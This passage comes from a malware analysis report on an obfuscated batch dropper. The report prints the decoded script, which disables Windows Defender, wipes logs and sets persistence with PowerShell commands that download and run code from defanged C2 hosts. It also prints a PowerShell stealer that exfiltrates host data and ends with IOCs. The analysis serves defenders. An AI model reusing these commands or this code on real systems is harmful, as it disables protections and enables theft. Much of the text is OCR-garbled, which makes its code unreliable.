%t jxpouf®%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv11g%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%t jxpouf®%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khozigql%%jxdklrj%%x1lnlrpz%%pjdv11lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%%yvyapob%%fynn

%t jxpoufr%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%hxigvtv%%wegkoem%%x1nlrpz%%flbzyhx%%ybbwhci%%khozigql%%x1nlrpz%%fynwfvh%%fynn

%t jxpouf%%fynwfvh%%smkmhtbo% /%gfuxihu%
%ybbwhci%%hxiqvtveswegkoem%%x1nlrpz%%flbzyhx%%ybbwhci%%khoziql%%x1nlrpz%%fynwfvh%%sfynn

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%ybbwhci%%hxiqvtv%%wegkoem%%x1nlrpz%%flbzyhx%%ybbwhci%%khozigql%%x1nlrpz%%fynwfvh%%fynn

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%rmyyyjm%%pjdv11lg%%bysdcmi%%t jxpouf%%nutgtmu%%rmyyyjm%%ybbwhci%.%ybbwhci%%fynwfvh%%khc

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%rmyyyjm%%pjdv1lg%%bysdcmi%%t jxpouf%snutqtmu%%rmyyyjm%%sybbwhci%%t jxpouf%%fynwfvh%%sgfux

%t jxpouf®%fynwfvh%%mkmhtbo% /%gfuxihu%
%rmyyyjm%%ybbwhci%%khoziql%%ybbwhci%%cbwqklh%%khoziql%.%tjxpouf%%mkmhtbo%%mkmhtbo%

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%rmyyyjm%%ybbwhci%%khoziql%%ybbwhci%%cbwqklh%%khoziql%.%tjxpouf%%mkmhtbo%%mkmhtbo%. %hx

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%rmyyyjm%%ybbwhci%%fynwfvh%%khoziql%%fynwfvh%%t jxpouf%%pjdv1lg%%ftlbzyhx%.%t jxpouf%%mkn

%khozigl%%tjxpouf%
%rmyyyjm%%pjdv1lg%%bysdcemi%%sfynwfvh%%scbwaklh%%f lbzyhx%\%mkmhtbo%%nutqgtmu%%dskbaxq%%ybk
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%t jxpouf%%fynwfvh%%smkmhtbo% /%gfuxihu%
%hxigvtv%%pjdv1lg%%khozigql%%x1nlrpz%%nutqtmu%%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%-
%rmyyyjm%%pjdv1lg%%bysdcmi%%t jxpouf%%nutqtmu%%rmyyyjm%%ybbwhci%-
%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%nutgtmu%%rmyyyjm%%ybbwhci%

%t jxpouf®%fynwfvh%%gfuxihu%%fynwfvh%%bysdcmi%%t jxpouf%%fynwfvh%%x1lnlrpz%%4operational.

del /f microsoft-windows-windows
defender%4%rmyyyjm%%yvyapob%%khoziql%.%fynwfvh%%cbwqk1h%%f1lbzyhx%%1lxckycu%

%t jxpouf%%fynwfvh%%smkmhtbo% /%gfuxihu%
%hxigvtv%%pjdv1lg%%khozigql%%x1nlrpz%%nutqtmu%%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%-
%rmyyyjm%%pjdv1lg%%bysdcmi%%t jxpouf%%nutqtmu%%rmyyyjm%%ybbwhci%-
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv1lg%%flbzyhx%%tjtkrhi%-
%wegkoem%%jxdklrj%%t jxpouf%%pjdvllg%%flbzyhx%-
%khozigl%%nutgtmu%%bysdcmi%%gfuxihu%%pjdvllg%%dskbaxq%%jxdklrj%%x1lnlrpz%%wegkoem%%f1lbz
%khozigl%%mkmhtbo%%pjdv1lg%%fynwfvh%%sbysdcmi%%flbzyhx%%4operational.evtx

del /f microsoft-windows-security-enterprisedata-
filerevocationmanager%4%nutqgtmu%%brlbmmf%%fynwfvh%%x1lnlrpz%%wegkoem%%flbzyhx%%pjdv1lg%

%t jxpouf%%fynwfvh%%mkmhtbo% /%gfuxihu%
%hxiqvtv®%pjdv1lg%%khoziql%%x1lnlrpz%%nutqtmu%%ybbwhci%%nutqtmu%%gfuxihu%%flbzyhx%-
%rmyyyjm%%pjdv11g%%bysdcmi%%t jxpouf%%nutqtmu%%rmyyyjm%%ybbwhci%-
%ybbwhci%%fynwfvh%%khoziql%%jxdklrj%%x1nlrpz%%pjdv11g%%flbzyhx%%tjtkrhi%-
%bysdcmi%%fynwfvh%%f1lbzyhx%%mkmhtbo%%nutqtmu%%dskbaxg%%nutqtmu%%bysdcmi%

After replacing the each "SET" variables with the corresponding char and doing one more
replacement in Cyberchef results a clean and readable code. The entire code is available in
below dropdown section.

Recipe S I Input

[EEEES A R S R S S
Find / Replace
Find Hriteiigh MdkXekNlAXeXNtHXak
i
% SIMPLE STRING ~ " Rehitik R L iarmie\ R Mo i PR TR ek r ke X \ R oA L MR 1 XA R 1 KR 2 s N\ Ami
HdXXeRikfEReXhnikdXXeikiri" /HfY

Replace Output

Global match D Case insensitive Multiline matching Gecho off
reg delete "hklm\software\policies\microsoft\windows defender” /f
reg add "hklm\software\policies\microsoft\windows defender” /v "disal
[:] Dot matches all reg add "hklm\software\policies\microsoft\windows defender” /v "disal
reg add "hklm\software\policies\microsoft\windows defender\mpengine”
reg add "hklm\software\policies\microsoft\windows defenderi\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender\real-time
fd 1"/
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defender‘\real-time
reg_dword /d "1" /f
reg add "hklm\software\policies\microsoft\windows defenderi\real-time

Decoded
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@echo off
NET SESSION >nul 2>&1 && goto noUAC

title.

set n=%0 %*

set n=%n:"=" A& Chr(34) "& "%

echo Set objShell = CreateObject("Shell.Application")>"%tmp%\cmdUAC.vbs"

echo objShell.ShellExecute "cmd.exe", "/c start " A& Chr(34) N& "." A& Chr(34) ~& "

/d " A& Chr(34) A& "%CD%" A& Chr(34) A& " cmd /c %n%", "", "runas",
A1>>"%tmp%\cmdUAC . vbs"

echo Not Admin, Attempting to elevate...

cscript "%tmp%\cmdUAC.vbs" //Nologo

del "%tmp%\cmdUAC.vbs"

exit /b

:NoUAC

@echo off

reg delete "hklm\software\policies\microsoft\windows defender" /f

reg add "hklm\software\policies\microsoft\windows defender" /v "disableantispyware"
/t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender" /v "disableantivirus" /t
reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\mpengine" /v "mpenablepus"
/t reg_dword /d "e" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v
"disablebehaviormonitoring" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v
"disableioavprotection" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v
"disableonaccessprotection" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v
"disablerealtimemonitoring" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time protection" /v
"disablescanonrealtimeenable" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\reporting" /v
"disableenhancednotifications" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\spynet" /v
"disableblockatfirstseen" /t reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\spynet" /v
"spynetreporting" /t reg_dword /d "o" /f

reg add "hklm\software\policies\microsoft\windows defender\spynet" /v
"submitsamplesconsent" /t reg_dword /d "o" /f

rem © - disable logging

reg add "hklm\system\currentcontrolset\control\wmilautologger\defenderapilogger" /v
"start" /t reg_dword /d "o" /f

reg add "hklm\system\currentcontrolset\control\wmilautologger\defenderauditlogger" /v
"start" /t reg_dword /d "o" /f

rem disable wd tasks

schtasks /change /tn "microsoft\windows\exploitguard\exploitguard mdm policy refresh"
/disable

schtasks /change /tn "microsoft\windows\windows defender\windows defender cache
maintenance" /disable

schtasks /change /tn "microsoft\windows\windows defender\windows defender cleanup"
/disable

schtasks /change /tn "microsoft\windows\windows defender\windows defender scheduled

17/24



scan" /disable

schtasks /change /tn "microsoft\windows\windows defender\windows defender
verification" /disable

rem disable wd systray icon

reg delete
"hklm\software\microsoft\windows\currentversion\explorer\startupapproved\run" /v
"windows defender" /f

reg delete "hkcul\software\microsoft\windows\currentversion\run" /v "windows defender"
/f

reg delete "hklm\software\microsoft\windows\currentversion\run" /v "windowsdefender"
/f

rem remove wd context menu

reg delete "hkcr\*\shellex\contextmenuhandlers\epp" /f

reg delete "hkcr\directory\shellex\contextmenuhandlers\epp" /f

reg delete "hkcr\drive\shellex\contextmenuhandlers\epp" /f

rem disable wd services

reg add "hklm\system\currentcontrolset\services\wdboot" /v "start" /t reg_dword /d
II4I| /f

reg add "hklm\system\currentcontrolset\services\wdfilter" /v "start" /t reg_dword /d
II4II /f

reg add "hklm\system\currentcontrolset\services\wdnisdrv" /v "start" /t reg_dword /d
I|4|| /f

reg add "hklm\system\currentcontrolset\services\wdnissvc" /v "start" /t reg_dword /d
I|4I| /f

reg add "hklm\system\currentcontrolset\services\windefend" /v "start" /t reg_dword /d
II4I| /f

reg add "hklm\system\currentcontrolset\services\securityhealthservice" /v "start" /t
reg_dword /d "4" /f

reg[.]exe add hklm\software\microsoft\windows\currentversion\policies\system /v
enablelua /t reg_dword /d 0 /f

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#one"
/t reg_sz /d "powershell -w hidden \"add-type -assemblyname system[.]core;iex (new-
object net[.]webclient).downloadstring('hxxp[://]hpsj[.]firewall-
gateway[.]net:80/hpjs[.]php');\"" /f

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v
"#oneupdate" /t reg_sz /d "powershell -w hidden \"add-type -assemblyname
system[.]core;iex (new-object
net[.]webclient).downloadstring('hxxp[://]hpsj[.]firewall-
gateway|[.]net:443/uddiexplorer');\"" /f

"c:\program files\microsoft security client\setup[.]exe" /x /s /disableoslimit
start /b powershell add-mppreference -exclusionpath "c:" -force

start /b powershell add-mppreference -exclusionpath "c:\users" -force

start /b powershell -w hidden "iex(new-object
net[.]webclient).downloadstring('hxxp[://]hpsj[.]firewall-

gateway[.]net:443/uddiexplorer');"

start /b powershell -w hidden "add-type -assemblyname system[.]core;iex (new-object
net[.Jwebclient).downloadstring("hxxp[://]hpsj[.]firewall-
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gateway[.]net:80/hpjs[.]php');"

schtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden
\"add-type -assemblyname system[.]core;iex (new-object
net[.]webclient).downloadstring(''hxxp[://]hpsj[.]firewall-

gateway[.]net:80/hpjs[.]php""'"');\""

schtasks /f /create /sc minute /mo 60 /tn achromeupdateri /tr "powershell[.]exe -w

hidden 'iex (new-object net[.]webclient).downloadstring('"'hxxp[://]hpsj[.]firewall-

gateway[.]net:443/uddiexplorer''"');""

SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC
SC

stop windefend

config windefend start= disabled
delete windefend

stop wdnissvc

config wdnissvc start= disabled
delete wdnissvc

stop sense

config sense start= disabled

delete sense

stop wuauserv

config wuauserv start= disabled

stop usosvc

config usosvc start= disabled

stop waasmedicsvc

config waasmedicsvc start= disabled
stop securityhealthservice

config securityhealthservice start= disabled
delete securityhealthservice

stop sdrsvc

config sdrsvc start= disabled

stop wscsvc

config wscsvc start= disabled

stop wdiservicehost

config wdiservicehost start= disabled
stop wdisystemhost

config wdisystemhost start= disabled
stop installservice

config installservice start= disabled
stop vaultsvc

config vaultsvc start= disabled

stop spooler

config spooler start= disabled

stop licensemanager

config licensemanager start= disabled
stop diagtrack

config diagtrack start= disabled

taskkill /f /im smartscreen[.]exe
taskkill /f /im securityhealthservice[.]exe

cd
cd
rd
rd
rd

c:\

c:\program files\

/s /q "windows defender"

/s /q "windows defender advanced threat protection"
/s /q "windows security"
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cd
rd
cd
rd
rd
rd
cd
cd
cd
del
del
del
del
del
del
del
del
del
del
del
del
del
del
del
del
del
cd

del /f microsoft-windows-windows defender4operationall.]evtx

del

del /f microsoft-windows-security-audit-configuration-client4operational[.]Jevtx

del

c:\program files (x86)\
/s /q "windows defender"
c:\programdata\microsoft
/s /q "windows defender"
/s /q "windows defender advanced threat protection"
/s /q "windows security health"
c:\
windows
system32
/T windowsupdateelevatedinstaller[.]exe
/T securityhealthsystray[.]exe
/T securityhealthservice[.]exe
/T securityhealthhost[.]exe
/f securitycenterbroker[.]dll
/f securitycenterbrokerps[.]dll
/f securityhealthagent[.]dll
/f securityhealthproxystub[.]dll
/T securityhealthsso[.]dl1l
/T smartscreensettings][.]exe
/T smartscreenps[.]dll
/T smartscreen|[.]exe
/f windows[.]security[.]integrity[.]dll
/f windowsdefenderapplicationguardcsp[.]dll
/f wscsvc[.]dll
/f wscsve[.]dll[.]mui
/T wsecedit[.]d1ll
winevt\logs

/f microsoft-windows-windows defender4whc|[.Jevtx

/f microsoft-windows-security-enterprisedata-

filerevocationmanager4operational[.Jevtx
del /f microsoft-windows-security-netlogon

The decoded payload has capable of disabling multiple security features built in Defender,
setting persistence using Registry Keys and Scheduled Taks and also downloading next

stage payload from mentioned URLSs.

1. hxxp[.//]hpsj[.Jfirewall-gateway].]net:80/hpjs[.Jnhp

2. hxxp[://]hpsj[.Jfirewall-gateway/.]net:443/uddiexplorer
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reg add "hkey current_user\software\microsoft\windows\currentversion\run" /v "f#one" /t reg sz /d "powershell -w hidden \"add-type -
system.core;iex (new-object net.webclient).downloadstring('http: hpsi.firewall-gatewav.net:80/hpis.php'):\"" /£

reg add "hkey current_user\software\microsofti\windows\currentversion\run" /v "f#oneupdate" /t reg sz /d "powershell -w hidden \"add-
-—assemblyname system.core;iex (new-object net.wsbclient).downloadstring('http://hpsi.firewall-gatewav.net:443/uddiexplorer’);\"" /1

"c:\program files‘\microsoft security clienti\setup.exe" /x /= /disableoslimit
start /b powershell add-mppreference -exclusionpath "c:" -force
start /b powershell add-mppreference -exclusionpath "c:\users" -force

start /b powershell -w hidden "iex(new-object net.webclient) .downloadstring('http://hpsi.firewall-gatewav.net:443/uddiexplorer') ;"

=tart /b powershell -w hidden "add-type -assemblyname system.core;iex (new-object
net.webclient) .downloadstring('http://hpsj.firewall-gatewav.net:80/hpjs.php') ;"

=chtasks /create /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden ‘\"add-type -assemblyname system.core;iex (new-ok
net.webclient) .downloadstring (' 'http://hpsi.firewall-gatewav.nec:80/hpis.php' ') ;\""

schtasks /f /create /sc minute /mo €0 /tn achromeupdateri /tr "powershell.exe -w hidden 'iex (nsw-object
net.webclient].downloadstring{"http:/!hD31.firewall—qatewag.net:ﬂﬂS{uddiexploreI'"];'ﬂ

Final-Stage

The final payload downloaded from above 1st URL is scripted in Powershell and steals
user's info such as (HostName, UserName, OS Architecture (32/64) & Verion, AD-Domain,
System IP, Admin-check, enumerating all running process etc..) All these data are encrypted
with AES-CBC and sent over to C2 server.
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Svar Sleep = °;
SAES Key = "0 i
$AES_IV = "VUVGV1IVVTOSXWE

Hfunction AES Init_ CBC($AES Key, SAES IV) {
5D = New-Ckject "Egi:%ﬁ.Ee:urith:rygt:;ra;hg.;esua:a;éi"
5D.Mode = [System.Security.Cryptography.CipherMode]::CBC
SD.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
SD.BlockSize = 12°
SD.FeySize = 256
= if (SAES IV) |
E if (ghES_IV.getType().Name —eqg "String") {

$D.IV = [System.Convert]::FromBass64String (SAES IV)
- }
= else {
$D.IV = SAES IV
- }

= if (SAES Key) {
E if (EﬁES Key.getType () .Name —-eg "String™) {
$D.ng = [System.Convert]::FromBass64String ($AES Key)
& }
= else {
$D.Fey = $AES Key
& }
b }
5D
-1

Hfunction AES Encryption ($AES Key, $AES IV, SunencryptedString) {

Sbytes = [System.Text.EnEﬁding]::UEFS.GetBytes($unencrypted5tring)
$D = BAES Tnit CBC $AES Key $AES IV

STM = $D.CreateEncryptE£() -

SencryptedData = $TM.TransformFinalBlock (Sbytes, 0, Sbytes.Length) ;
[System.Convert] : : ToBase64String ($encryptedbData)

-}

Flfunction RES Decryption (SAES Key, SAES IV, Scipher) {

Sbytes = [System.CDnverfT::FrDmBaﬁgﬁéstring($cipher}

$D = RES Init_ CBC $AES Key SAES IV

Sdecryptor = SD.CreateDecryptor() ;

SRTYYIQF = Sdecryptor.TransformFinalBlock (Sbytes, [, Sbytes.Length);
[System.Text.Encoding] : :UTFE.GetString ($RTXYIQF) .Trim( [char] )

L)
The response from C2 server is also an AES encrypted content and for reference the

returned value "LquqiDE9INWIWMNGNCrXeJg==" (extracted from Anyrun) is decoded to be
"False". Following CyberChef recipe can be used to decode the commands.
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Recipe

From Ba

sebd

Alphabet

A-Za-

29-9+/:

Remove non-alphabet chars

AES Dec

Key

rypt

QUFOVENOWVNETUSUTBhZVWhKVKhHQ1BNSUNSWERTREg=

IV

VUVGVIVVTOSXWE1QVkdORg==

Mode

CBC

Based on decoded value, the corresponding code block is going to be executed.

Last buld: £5 days ago

Input Output

Raw Raw

if(SCZ_CDmmand —eqg "Fals="){

} elseif ($¢2 Command -eg

S$ps = foreach (§i in Get- PIDCESSJ{$1 ProcessName}; #Enumerate all processes

$local_ips = (Get-NetIPConfiguration | Where-Cbjsct { §_.IPv4DefaultGatsway -ne $null -and §_.NstAdaptsr.Status -ne "Di
Sps+= Sarr -join ";"

Sps+= (Ge=t-Wmicbject -Class win32 operatingSystem) .version;

$pst= (Get-WinSystemLocals) .Nams

$ps+= ((gst-dates) - (gcim Win32 Operat:\.ngﬁystem) .LastBootUpTime) . TotalHours

$ps+= Get-Date -Format "HH:mm(MM/dd. ]

$pst = AES Encryption $AES Key SAES IV Sps

Swerh = $wer.Headers;

Sworh. add( i

Sworh. add(
Swerh. add (
$wor.downloadString(
} elself(SCZ Command . spllt(

)[ ] —eq "I wnlo a:.)[

$f:|.1ena_me = AES Encryption $AES _Key $AES IV $CZ Command.split ("
$file content — [System.IO.File]::ReadallBytes($C2 Command.spli
$1 = [Convert]::ToBaseé4String (§file_content) ;

$eC2_Command = AES_Encryption SAES Key $AES IV §1;

SVHRIM

= new-object net.WsbClient;

5K = SVHRJIM.Hsaders;

S$K.add
S$K.add

SVHRIM.
} elseif (§€2 Command -eg

tryf

10
("=
UploadString ("L

"yI-1

t(

f Reset Powershell session (clean)
# NOT IMPLEMENTED YET

Sec = "NO";

t

catch{

$ec = §Error[U] | Out-String;

}

$1 = AES Encryption $AES Key SAES_IV Sec;

SVHRIM
SVHRIM.

SVHRIM.
SVHRIM.
SVHRIM.

} else|
tryf
Sec =
}
catch{

= New—Object aysr.em Net.WebClient;

Headers[ ="] = $final hostname encrypted;

Headers|[ rization"] = $I;

Headers|[ ion"] Scorma.nd_raw;

downloadString (" hpsi.firewall-gateway.net:80/bills");

Invoks-Expression ($C2_Command) | Out-String;

O n

BASEG4 ~

BASEG4 ~

$filenamsé&to

Input

LqugiDESNWIWMNENCrKelg==

Qutput

False

" }).IPv4Rddre

/53

2nd URL is also acting as a dropper and downloads payload using powershell cmdlet.After
de-obfuscating several stages, the final payload has also similar behaviour of stealing
functionalities as mentioned earlier.
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I0C

Description
PDF

ZIP (Dropper)
Batch Script
URL_Dropper_1
URL_Dropper_2
C2 Server

C2 Server

C2 Server

C2 Server

C2 Server

References

URL/Hash

62610680349de97db658a7d41fc9a9b8
hxxp[://1128[.1199[.17[.]40/PATCH%20CVE00456-2022[.]zip
20e9e2e20425f5b89106f6bbace5381d
hxxp[://lhpsj[.]firewall-gateway[.]net:80/hpjs[.]php
hxxpl[://1hpsj[.]firewall-gateway[.]net:443/uddiexplorer
hxxp[://1hpsj[.]firewall-gateway[.]net:443/operation
hxxp[://lhpsj[.]firewall-gateway[.]net:443/proxy
hxxp[://lhpsj[.]firewall-gateway[.]net:443/publish
hxxp[://lhpsj[.]firewall-gateway[.]net:443/publishing

hxxp[://1hpsj[.]firewall-gateway[.]net:80/messages

1. https://attack.mitre.org/groups/G0140/ «

2. https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf «
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